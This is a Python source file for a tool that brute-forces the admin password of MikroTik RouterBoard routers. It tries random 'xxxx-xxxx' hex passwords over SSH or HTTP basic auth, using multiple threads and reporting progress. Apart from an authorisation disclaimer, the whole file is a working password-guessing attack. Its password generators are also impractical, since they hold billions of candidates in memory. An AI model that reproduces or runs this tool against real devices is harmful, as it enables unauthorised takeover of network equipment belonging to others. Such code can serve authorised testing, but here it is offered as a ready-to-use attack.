""" MikroTik RouterBoard Password Brute Force Tool This tool attempts to find the admin password for a MikroTik device by randomly generating and testing password combinations. It tries all possible 4-byte hex combinations (in random order) which matches the MikroTik password format "XXXX-XXXX". USAGE: Only use on devices you own or have authorization to access. Unauthorized access to computer systems is illegal. """ import socket import sys import time import random import string from threading import Thread, Lock import queue class MikroTikBruteForce: """Brute force MikroTik RouterBoard passwords.""" def __init__(self, host, port=22, timeout=5, use_http=False): """ Initialize the brute force tool. Args: host (str): IP address of the device port (int): Port to connect to (22 for SSH, 80 for HTTP) timeout (int): Connection timeout in seconds use_http (bool): Use HTTP instead of SSH """ self.host = host self.port = port self.timeout = timeout self.use_http = use_http self.username = "admin" self.found_password = None self.attempts = 0 self.lock = Lock() def generate_random_passwords(self): """ Generate all possible 4-byte hex passwords in random order. Yields passwords in the format "XXXX-XXXX" where X is a hex digit. This covers all 65,536^2 possible combinations (4,294,967,296 passwords). For practicality, we generate them randomly. Yields: str: A password in format "xxxx-xxxx" """ # Generate all possible 4-hex-digit combinations hex_digits = string.hexdigits.lower()[:16] # 0-9, a-f # Create all possible 8-digit hex strings all_combinations = [] for i in range(0x10000): # 65536 combinations for first 4 digits for j in range(0x10000): # 65536 combinations for last 4 digits hex_str = f"{i:04x}{j:04x}" all_combinations.append(hex_str) # Randomize the order random.shuffle(all_combinations) for hex_str in all_combinations: yield f"{hex_str[:4]}-{hex_str[4:]}" def generate_streaming_random_passwords(self): """ Generate random 4-byte hex passwords on-the-fly (infinite stream). This is more memory efficient for large-scale brute forcing. Yields: str: A password in format "xxxx-xxxx" """ seen = set() while len(seen) < 0x100000000: # 4,294,967,296 possible passwords # Generate random 8-digit hex string random_val1 = random.randint(0, 0xFFFF) random_val2 = random.randint(0, 0xFFFF) hex_str = f"{random_val1:04x}{random_val2:04x}" if hex_str not in seen: seen.add(hex_str) yield f"{hex_str[:4]}-{hex_str[4:]}" def try_password_ssh(self, password): """ Try connecting with SSH. Args: password (str): Password to try Returns: bool: True if successful, False otherwise """ try: import paramiko except ImportError: print("Error: paramiko not installed. Install with: pip install paramiko") return False try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect( self.host, port=self.port, username=self.username, password=password, timeout=self.timeout, allow_agent=False, look_for_keys=False, ) client.close() return True except paramiko.AuthenticationException: return False except Exception: return False def try_password_http(self, password): """ Try connecting via HTTP (WebFig). Args: password (str): Password to try Returns: bool: True if successful, False otherwise """ try: import requests from requests.auth import HTTPBasicAuth except ImportError: print("Error: requests not installed. Install with: pip install requests") return False try: response = requests.get( f"http://{self.host}:{self.port}/", auth=HTTPBasicAuth(self.username, password), timeout=self.timeout, ) return response.status_code == 200 except Exception: return False def try_password(self, password): """Try a password using the configured method.""" if self.use_http: return self.try_password_http(password) else: return self.try_password_ssh(password) def brute_force(self, num_threads=1, memory_efficient=False): """ Brute force the password by trying random combinations. Args: num_threads (int): Number of concurrent threads to use memory_efficient (bool): Use streaming random generation (memory efficient) Returns: str: Password if found, None otherwise """ print(f"[*] Starting brute force on {self.host}:{self.port}") print(f"[*] Method: {'HTTP/WebFig' if self.use_http else 'SSH'}") print(f"[*] Threads: {num_threads}") print(f"[*] Memory efficient: {memory_efficient}") print(f"[*] Trying random passwords in format 'xxxx-xxxx'") print() start_time = time.time() if memory_efficient: password_generator = self.generate_streaming_random_passwords() else: password_generator = self.generate_random_passwords() if num_threads == 1: return self._brute_force_single_thread(password_generator, start_time) else: return self._brute_force_multi_thread(password_generator, num_threads, start_time) def _brute_force_single_thread(self, password_generator, start_time): """Single-threaded brute force.""" for password in password_generator: with self.lock: self.attempts += 1 if self.attempts % 100 == 0: elapsed = time.time() - start_time rate = self.attempts / elapsed if elapsed > 0 else 0 print( f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - " f"Elapsed: {elapsed:.1f}s - Last tried: {password}" ) if self.try_password(password): elapsed = time.time() - start_time print() print(f"[+] SUCCESS! Found password: {password}") print(f"[+] Total attempts: {self.attempts}") print(f"[+] Time elapsed: {elapsed:.2f} seconds") print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second") return password print("[-] Brute force complete. Password not found.") return None def _brute_force_multi_thread(self, password_generator, num_threads, start_time): """Multi-threaded brute force.""" password_queue = queue.Queue(maxsize=1000) result_queue = queue.Queue() # Producer thread def producer(): for password in password_generator: if result_queue.empty(): # Stop if password found password_queue.put(password) # Worker threads def worker(): while True: try: password = password_queue.get(timeout=1) except queue.Empty: break with self.lock: self.attempts += 1 if self.attempts % 100 == 0: elapsed = time.time() - start_time rate = self.attempts / elapsed if elapsed > 0 else 0 print( f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - " f"Last tried: {password}" ) if self.try_password(password): result_queue.put(password) print() print(f"[+] SUCCESS! Found password: {password}") return password_queue.task_done() # Start threads producer_thread = Thread(target=producer, daemon=True) producer_thread.start() worker_threads = [Thread(target=worker, daemon=True) for _ in range(num_threads)] for thread in worker_threads: thread.start() # Wait for result or completion producer_thread.join(timeout=3600) for thread in worker_threads: thread.join(timeout=10) if not result_queue.empty(): password = result_queue.get() elapsed = time.time() - start_time print(f"[+] Total attempts: {self.attempts}") print(f"[+] Time elapsed: {elapsed:.2f} seconds") print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second") return password print("[-] Brute force complete. Password not found.") return None def main(): """Main entry point.""" print("MikroTik RouterBoard Password Brute Force Tool") print("=" * 55) print() print("⚠️ WARNING: Only use on devices you own or have authorization to access.") print() if len(sys.argv) < 2: print("Usage:") print(" python script.py [OPTIONS]") print() print("Arguments:") print(" HOST IP address of MikroTik device (e.g., 192.168.88.1)") print() print("Options:") print(" --port PORT Port number (default: 22 for SSH, 80 for HTTP)") print(" --method METHOD 'ssh' or 'http' (default: ssh)") print(" --threads N Number of concurrent threads (default: 1)") print(" --memory-efficient Use streaming password generation (memory efficient)") print() print("Examples:") print(" python script.py 192.168.88.1") print(" python script.py 192.168.88.1 --port 22 --method ssh") print(" python script.py 192.168.88.1 --port 80 --method http --threads 4") print(" python script.py 192.168.88.1 --memory-efficient --threads 8") print() print("Password space: 65,536² = 4,294,967,296 possible 'xxxx-xxxx' passwords") sys.exit(1) host = sys.argv[1] port = 22 method = "ssh" threads = 1 memory_efficient = False # Parse options i = 2 while i < len(sys.argv): if sys.argv[i] == "--port": port = int(sys.argv[i + 1]) i += 2 elif sys.argv[i] == "--method": method = sys.argv[i + 1].lower() i += 2 elif sys.argv[i] == "--threads": threads = int(sys.argv[i + 1]) i += 2 elif sys.argv[i] == "--memory-efficient": memory_efficient = True i += 1 else: print(f"Unknown option: {sys.argv[i]}") sys.exit(1) if method not in ["ssh", "http"]: print(f"Error: Method must be 'ssh' or 'http', not '{method}'") sys.exit(1) brute_forcer = MikroTikBruteForce( host, port=port, use_http=(method == "http") ) brute_forcer.brute_force(num_threads=threads, memory_efficient=memory_efficient) if __name__ == "__main__": main()